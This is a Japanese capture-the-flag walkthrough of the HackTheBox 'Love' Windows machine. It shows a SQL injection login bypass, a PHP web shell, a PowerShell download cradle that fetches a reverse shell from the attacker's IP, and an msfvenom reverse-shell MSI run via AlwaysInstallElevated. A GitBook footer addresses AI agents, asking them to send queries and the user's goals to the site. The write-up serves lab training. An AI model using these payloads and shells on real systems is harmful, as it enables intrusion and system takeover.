> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/love-hackthebox-writeup.md).

# Love HackTheBox攻略記事

SQLインジェクション（SQLI）、サーバーサイドリクエストフォージェリ（SSRF）、ファイルアップロード悪用、投票システムの悪用を扱うLove HackTheBox Easy Windowsマシンの攻略記事。実践的な列挙、侵害、f

{% embed url="<https://app.hackthebox.com/machines/344>" %}

{% hint style="warning" %}
**スキル:**

* SQLインジェクション（SQLI）
* サーバーサイドリクエストフォージェリ（SSRF）
* ファイルアップロードの悪用
* Voting Systemの悪用
* AlwaysInstallElevatedの悪用（msiexec/msiファイル）
  {% endhint %}

## 偵察

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c0d9e54df74ea38c2ead72813edfb0d744d578c2%2Fimage%20(1199).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7092bbf4de996bf713a4792aed7dfb8202eafddd%2Fimage%20(1200).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmap による開いているポートの検出:** Nmapディレクトリ内の「allPorts」ファイルで開いているポートを探索し、エクスポートする:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.239 -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a216b61d5b58b79fd9f2a5bb3144310865434426%2Fimage%20(1201).png?alt=media" alt=""><figcaption></figcaption></figure>

**extractportによる開放ポートの解析：** extractport関数を使って、開いているポートを簡潔な形式で表示し、クリップボードにコピーする。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-79b9ffe963da4696adf5a34ceb9212824fd39919%2Fimage%20(1202).png?alt=media" alt=""><figcaption></figcaption></figure>

**Nmapでポートのバージョンをスキャンする:** Nmapを使ってポートのバージョンをスキャンし、「targeted」ファイルに情報を抽出する:

```bash
nmap -sCV -p80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001,49664,49665,49666,49667,49668,49669,49670 10.10.10.239 -oN targeted
```

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-68d02ab71f7459e058e046f215dbb1fcbf5812ed%2Fimage%20(1204).png?alt=media" alt=""><figcaption></figcaption></figure></div>

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2c0367a57e60a7bbcd69dc232488ef98857d676b%2Fimage%20(1205).png?alt=media" alt=""><figcaption></figcaption></figure></div>

DNS経由でドメイン名をIPアドレスに解決するには、IPアドレスに関連付けられたドメイン名を `/etc/hosts` ファイル

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be2bf8202ac60dee616cb3d279d29149a74d9a29%2Fimage%20(1206).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**ディレクトリを検索する:**

サイト上のディレクトリを検索するためにGobusterを使用する:

```bash
gobuster dir -u http://love.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dc8dd7b5b54f745782fb4bcad9bd5bded32f7210%2Fimage%20(1207).png?alt=media" alt=""><figcaption></figcaption></figure>

その `admin` そのディレクトリで、管理パネルを発見する。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3411d3cbb7fb8f0f3639d3519571434a90ba1192%2Fimage%20(1212).png?alt=media" alt=""><figcaption></figcaption></figure>

## Voting Systemの悪用：

この場合、Voting System管理パネルを操作する方法は2つある：

### 1. SSRF脆弱性：

443番ポートは `staging.love.htb` 私たちが追加するサブドメイン `/etc/hosts` ファイルに存在するユーザーに対して試します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1931706887f9841b21d0d6b7f29523e5be282467%2Fimage%20(1223).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

このサイトはURL経由でWebサイトをスキャンできる。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-16159e0873e57e339ec7344797e6dc6076818a3f%2Fimage%20(1224).png?alt=media" alt=""><figcaption></figcaption></figure>

スキャンすることで `localhost:5000` （外部からは利用できない）が、認証情報を発見する：

`admin: @LoveIsInTheAir!!!!`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a230bd7b19475a5505f4f6554144f49077e299c6%2Fimage%20(1225).png?alt=media" alt=""><figcaption></figcaption></figure>

注: 外部では、「You don't have permission to access this resource.」というメッセージが表示され、アクセスがブロックされる。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-83c70497eee1b1d32467fdf409bae1203e05a695%2Fimage%20(1226).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### **2. SQLインジェクション脆弱性（**[**SQLi**](/ja/web/sql-injection.md)**) :**

次の `searchsploit` Voting Systemの特定の脆弱性を探し、次のペイロードを見つける：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-69caec2ec109bcf27c521aec3f820e6ef43e4dfd%2Fimage%20(1214).png?alt=media" alt=""><figcaption></figcaption></figure>

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f6c270a2781a9894f568af94d864720c7c09ef3e%2Fimage%20(1213).png?alt=media" alt=""><figcaption></figcaption></figure></div>

`login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -`

Burp Suiteを使用して、ダッシュボードにアクセスする。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a11478f773425fc1fd5f92ea27a35f171d62c4a4%2Fimage%20(1216).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2465297876a648226ae8b2ddca35b65c34c1cdd0%2Fimage%20(1215).png?alt=media" alt=""><figcaption></figcaption></figure>

## ファイルアップロード脆弱性：

ダッシュボードに入ると、新しいユーザーを作成するオプションがある。私たちは `cmd.php` サーバー上でコマンドを実行するためのファイル：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d5dcb47f06c24a35986518516e5fb0c6693e932f%2Fimage%20(1217).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
<?php
echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8cded7ddf5e3ae897621458ad77622a4d8cbb543%2Fimage%20(1218).png?alt=media" alt="" width="482"><figcaption></figcaption></figure>

このパネルはセキュリティチェックを一切行わないため、コマンドを注入できる（例： `whoami`）。pingコマンドを試して、接続を確認する：

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-70ba923cfd9ab276dd27325ab502f1d73045d369%2Fimage%20(1219).png?alt=media" alt=""><figcaption></figcaption></figure>

pingを実行できるかどうかを確認する

<pre class="language-bash"><code class="lang-bash">ping 10.10.14.10
<strong>tcpdump -i tun0 icmp
</strong></code></pre>

応答を受け取ったので、対象マシンでコマンドを実行できる可能性を確認する

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dbf41f4b22e1af966392f86f0d0ce45be68c4677%2Fimage%20(1220).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**リバースシェル用のPowerShellコマンド**

コマンドを実行できることが確認できたら、 `PS.ps1` スクリプトを私たちのマシンに

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

スクリプトの最後に、次の行を追加します:

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 4444
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bd9035f1d58ec22d463d2aeaba37c58e0c399f4d%2Fimage%20(1221).png?alt=media" alt=""><figcaption></figcaption></figure>

次の `PS.ps1` スクリプト

```bash
python3 -m http.server 80
```

その後、コマンドを自分たちのWebサーバーを指すように変更します:

{% code overflow="wrap" %}

```bash
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.10/PS.ps1')"
```

{% endcode %}

最後に、ポート4444で待ち受けます:

```bash
rlwrap nc -nlvp 4444
```

<div data-full-width="true"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c5ac9fe74f29992f5bd15872156b66be55a3dc05%2Fimage%20(1025).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### user.txtのフラグ:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7095aa6d2dd7221f5dc47589fee264b512f5e758%2Fimage%20(1222).png?alt=media" alt=""><figcaption></figcaption></figure>

## 権限昇格：

### **winPEASx64.exeによる列挙** <a href="#enumeration-with-winpeasx64.exe" id="enumeration-with-winpeasx64.exe"></a>

Windowsサーバーで権限昇格を行うには、まず次のものを実行する： `winPEAS` 偵察ツール。

{% embed url="<https://github.com/peass-ng/PEASS-ng/releases/tag/20220214>" %}

WIN-peacex64.exe偵察ツールのダウンロード。

```purebasic
certutil.exe -f -urlcache -split http://10.10.14.10/winPEASx64.exe winPeas.exe
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0a9743051dc095176e3a3c8ef159c01a51586a73%2Fimage%20(2328).png?alt=media" alt=""><figcaption></figcaption></figure>

```powershell
./winPEAS.exe
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d15619f178525c4f0a797ccc8311acf8efdb6782%2Fimage%20(2330).png?alt=media" alt=""><figcaption></figcaption></figure>

### AlwaysInstallElevatedの確認

その `winPEAS` このツールはさまざまなシステムセキュリティ設定を確認する。特に注目するのは `AlwaysInstallElevated` レジストリキー。これが次に設定されている場合、 `1` の中に `HKLM` （HKEY/ LOCAL/ MACHINE）、これはすべての `.msi` ファイルを高権限でインストールできることを意味し、これは脆弱性である。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2258ba95e1950623db76d0de21d891568ae5db44%2Fimage%20(2332).png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated>" %}

**リバースシェルを取得するための.msiファイルを作成する**

この脆弱性を利用するために、私たちは `.msi` 実行するとリバースシェルを取得できるファイル。そこで使用するのは `msfvenom` このファイルを生成するために：

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 --platform windows -a x64 -f msi -o reverse.msi
```

**from.msiを転送する**/ ファイル。ファイルを作成した後、ターゲットマシンへ転送する必要がある：

```bash
certutil.exe -f -urlcache -split http://10.10.14.10/reverse.msi reverse.msi
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ed0c855985976ed82675c4547b2a5e4d1e7a7c21%2Fimage%20(2333).png?alt=media" alt=""><figcaption></figcaption></figure>

**443番ポートで待ち受ける**/ 次を実行する前に `.msi` ファイルを実行するには、指定したポートで待ち受ける必要がある。ここでは `nc` (netcat)を使う：

```powershell
rlwrap nc -nlvp 443
```

**インストールコマンドの実行**/ 最後に、次のファイルを `.msi` 使用して実行する `msiexec`、これによりサイレントインストールが開始される：

```powershell
msiexec /quiet /qn /i reverse.msi
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9b28d83a925bae2e25fb4c4b5795935553aea299%2Fimage%20(2334).png?alt=media" alt=""><figcaption></figcaption></figure>

### rootフラグ :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e7209939d8b64e1448eddbcc36ca23ffe24c7003%2Fimage%20(2335).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fe4cfcd5342a6e24839029b99d99b4fd92075ff5%2F%7BEBDB5A49-677A-4F86-9619-69F0AC95E833%7D.png?alt=media" alt="" width="524"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/windows-easy/love-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
